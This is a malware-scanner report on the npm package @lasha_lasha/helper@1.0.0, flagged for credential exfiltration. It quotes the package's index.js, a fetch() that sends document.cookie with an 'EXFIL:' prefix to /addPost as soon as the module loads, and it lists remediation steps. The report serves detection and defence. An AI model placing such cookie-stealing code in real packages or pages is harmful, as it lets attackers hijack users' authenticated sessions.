registry / Credential exfiltration / @lasha_lasha/helper
@lasha_lasha/helper
This report shows the evidence for @lasha_lasha/helper@1.0.0. 1 of 2 known versions is blocked or flagged. See all versions.
AI Security Review
scanned 2d ago · by lpm-firewall-aiThe declared main entry point automatically transmits browser cookie data to an endpoint, creating a clear session credential theft capability. No legitimate package purpose or consent mechanism is evident.
Static reason
No blocking static signals were detected.
Trigger
Loading the main entry point in a browser context.
Impact
May expose session cookies to the endpoint, enabling access to authenticated accounts.
Mechanism
An immediate POST sends document.cookie as the content field to /addPost.
Attack narrative
Importing the declared main entry point in a browser immediately POSTs document.cookie to /addPost. The destination is a same-origin relative path, but the code provides no consent gate or user action before sending session cookie data.
AI rationale
The declared main entry point automatically transmits browser cookie data to an endpoint, creating a clear session credential theft capability. No legitimate package purpose or consent mechanism is evident.
Evidence
package.jsonindex.js
Network endpoints1
/addPost (same-origin relative URL)
Decision evidence
public snapshotAI called this Malicious at 97.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package declares index.js as its main entry point.
- index.js immediately POSTs document.cookie in a body prefixed with EXFIL: to /addPost.
Evidence against
- The manifest declares no install lifecycle scripts or dependencies.
Behavioral surface
Network
Trivial
Source & flagged code
2 flaggedpackage.jsonView file
5"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [
High
Ai Review Evidence
The package declares index.js as its main entry point.
package.jsonView on unpkg · L5index.jsView file
1fetch('/addPost', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({content: 'EXFIL:' + document.cookie})
});
High
Ai Review Evidence
index.js immediately POSTs document.cookie in a body prefixed with EXFIL: to /addPost.
index.jsView on unpkg · L1Findings
2 High1 Medium1 Low
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
Affected versions and remediation
This report applies to @lasha_lasha/helper@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing @lasha_lasha/helper@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.